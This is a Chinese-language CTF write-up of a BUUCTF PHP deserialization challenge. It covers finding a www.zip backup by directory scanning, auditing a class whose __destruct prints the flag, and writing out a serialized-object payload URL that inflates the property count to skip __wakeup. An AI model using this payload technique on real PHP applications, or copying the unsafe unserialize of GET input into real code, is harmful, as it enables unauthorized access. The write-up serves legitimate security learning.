解题思路
打开靶场,提示备份
常见的备份后缀名有.bak,.backup,.zip等等
这里肯定是要扫目录了,不知道是我的问题还是目录扫描工具的问题还是BUUCTF的问题,每次要扫目录能扫出一堆东西来,不管你用什么后缀,是做了防扫吗?用dirsearch还要设置一下线程,要不然BUUCTF不给你访问了。然后用kali的dirb感觉贼垃圾,总是漏扫...
然后这里的备份文件是www.zip,我觉得也是比较逆天了。
我们直接访问url下载即可
其中,index.js和style.css 一个是猫猫的前端文件,一个是渲染文件,我们重点看另外三个文件,先是flag.php文件:
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
提示我们flag是变量,我们要输出显示flag。然后是index.php文件
<?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>
这里只展示重要部分,包含了class.php文件,然后get了个参数select,并且对参数进行反序列化了。然后我们看class.php
<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>
包含了flag.php文件,那么flag变量也被包含其中。定义了一个类,讲一些比较重要的函数
function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}
核心函数function __destruct(),也比较好理解,我们需要让username=admin,password=100即可输出flag,但是我们输入都是被反序列化的,因此我们要逆向思维,将admin和100进行序列化输入,即可被反序列化成对应值。
function __wakeup(){$this->username = 'guest';}
这里需要了解的是__wakeup()函数,将username改变成guest,这个函数在反序列化函数的输入为对象时,会自动调用。
总结,我们需要输入包含username和password的值分别等于admin和100的反序列化的值,只能通过输入类进行,因为只有一个get参数。但是输入类,会执行wakeup()函数,username的值会变。因此我们需要绕过该函数。
这里又引出另一个比较坑的点,当反序列化函数的输入为对象时,且对象的个数多于需要的个数,那么就不会执行__wakeup()函数。那么我们只需要构造一个类,有三个值,然后前两个值包含username和password的值分别等于admin和100的反序列化的值即可,先正常定义:
<?php
class Name{private $username = 'admin';private $password = '100';}$select = new Name();$res=serialize(@$select); echo $res
?>
用php执行的在线网站可以输出
O:4:"Name":2:{s:14:"□Name□username";s:5:"admin";s:14:"□Name□password";s:3:"100";}
其中有不可见字符□,如果输入到浏览器中会不可见。%00是对象序列化后不可见字符对应的url编码,我们手动加上。
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
总结
总的来说比较困难吧,很多细节需要注意。首先www.zip其实就比较难找,然后代码审计比较简单,但是序列化需要一定的代码能力哈。